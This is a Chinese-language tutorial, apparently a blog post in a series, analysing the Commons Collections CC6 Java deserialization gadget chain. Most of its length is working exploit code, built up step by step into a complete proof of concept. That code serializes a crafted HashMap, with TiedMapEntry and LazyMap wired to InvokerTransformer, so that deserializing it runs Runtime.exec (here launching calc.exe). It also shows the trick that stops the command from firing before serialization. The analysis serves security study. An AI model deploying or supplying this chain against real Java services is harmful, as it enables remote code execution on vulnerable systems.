前言
我们前两篇已经分析过URLDNS链和CC1链,我们这次分析的链就是基于前两条链之上的CC6链
CC6链的使用对于版本来说没有CC1限制那么大,只需要commons collections 小于等于3.2.1,都存在这个漏洞
0.环境安装
可以接着使用我们之前分析CC1链时安装的环境,具体安装步骤可以看上一篇文章:
Commons-Collections篇-CC1链小白基础分析学习
1.CC6分析
1.1 前置
CC6和CC1的核心执行都是相同的,都是
LazyMap#get—》InvokeTransformer#transform
但是随着jdk的升级修复,在8u71版本之后,AnnotationInvocationHandler类被重写了,修改了readObject方法,里面没有了setValue方法。
所以在此版本之后,CC1的LazyMap链没办法继续使用
我们先写一个到达get方法链的poc
LazyMap#get—》InvokeTransformer#transform
public class test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer(
"forName",
new Class[] {String.class},
new Object[] {"java.lang.Runtime"}
),
new InvokerTransformer(
"getMethod",
new Class[] {String.class,Class[].class},
new Object[] {"getRuntime",new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
new InvokerTransformer(
"exec",
new Class[] {String.class},
new String[]{"C:\\windows\\system32\\calc.exe"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
Map Lazy = LazyMap.decorate(map,chainedTransformer);
Lazy.get(Runtime.getRuntime());
}
1.2 寻找新链
虽然出口被修复了,但是我们还是可以继续从LazyMap类中的get方法寻找新的路线
根据 ysoserial 的链子调用,是 TiedMapEntry 类中的 getValue() 方法调用了 LazyMap 的 get() 方法
首先我们可以看到该方法实现了Serializable,在getValue方法中调用了get方法,而hashCode又调用了getValue方法,所以我们可以通过hashCode来调用我们的命令执行
public class test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer(
"forName",
new Class[] {String.class},
new Object[] {"java.lang.Runtime"}
),
new InvokerTransformer(
"getMethod",
new Class[] {String.class,Class[].class},
new Object[] {"getRuntime",new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
new InvokerTransformer(
"exec",
new Class[] {String.class},
new String[]{"C:\\windows\\system32\\calc.exe"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
Map Lazy = LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tied = new TiedMapEntry(Lazy,0);
tied.hashCode();
1.2.1 hashCode()
我们之前分析过URLDNS链,HashMap的readObject方法有如下这行语句,而在其中通过方法hash()调用了hashcode()
所以我们使用和URLDNS分析中的HashMap.put()一样来触发漏洞
public class test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer(
"forName",
new Class[] {String.class},
new Object[] {"java.lang.Runtime"}
),
new InvokerTransformer(
"getMethod",
new Class[] {String.class,Class[].class},
new Object[] {"getRuntime",new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
new InvokerTransformer(
"exec",
new Class[] {String.class},
new String[]{"C:\\windows\\system32\\calc.exe"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
Map Lazy = LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tied = new TiedMapEntry(Lazy,0);
HashMap map1 = new HashMap();
map1.put(tied,1);
1.3 解决问题
在我们运行上面的poc之后发现,还没进行反序列化就触发了我们的命令,这个之前在URLDNS分析篇也遇到过。
由于HashMap的put方法会导致提前调用hash方法,从而在序列化前就命令执行,所以这里修改一下代码。
这里选择在新建LazyMap对象的时候,随便传入一个Transformer对象,等put完之后再通过反射修改回ChainedTransformer对象。
同时,我们要满足之前分析的if条件,保持key为空,所以我们需要删除key
第一步,将之前的传入的命令执行链换成随便传入一个Transformer对象
Map Lazy = LazyMap.decorate(map,new ConstantTransformer(1));
第二步,在put之后删除之前传入的key并修改回ChainedTransformer对象。
Lazy.remove(0); //remove掉put时 lazyMap里的key 使反序列化时能进入transform
Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(Lazy,chainedTransformer);
1.4 完整poc
public class test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer(
"forName",
new Class[] {String.class},
new Object[] {"java.lang.Runtime"}
),
new InvokerTransformer(
"getMethod",
new Class[] {String.class,Class[].class},
new Object[] {"getRuntime",new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
new InvokerTransformer(
"exec",
new Class[] {String.class},
new String[]{"C:\\windows\\system32\\calc.exe"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
Map Lazy = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tied = new TiedMapEntry(Lazy,0);
HashMap map1 = new HashMap();
map1.put(tied,1);
//本地执行put时,会调用 tiedmapTntry.hashcode lazyMap.get("0") 会让lazyMap key不为flase
Lazy.remove(0); //remove掉put时 lazyMap里的key 使反序列化时能进入transform
Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(Lazy,chainedTransformer);
serializable(map1);
}
private static void serializable(Object o) throws IOException, ClassNotFoundException {
FileOutputStream fos = new FileOutputStream("obj1");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(o);
os.close();
}
我们触发下生成的poc
public class CC {
public static void main(String[] args) throws Exception {
//命令执行代码
unserializable();
}
private static Object unserializable() throws Exception,IOException, ClassNotFoundException{
FileInputStream fis = new FileInputStream("obj1");
ObjectInputStream ois = new ObjectInputStream(fis);
Object o = ois.readObject();
return o;
}
}
路线为:
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()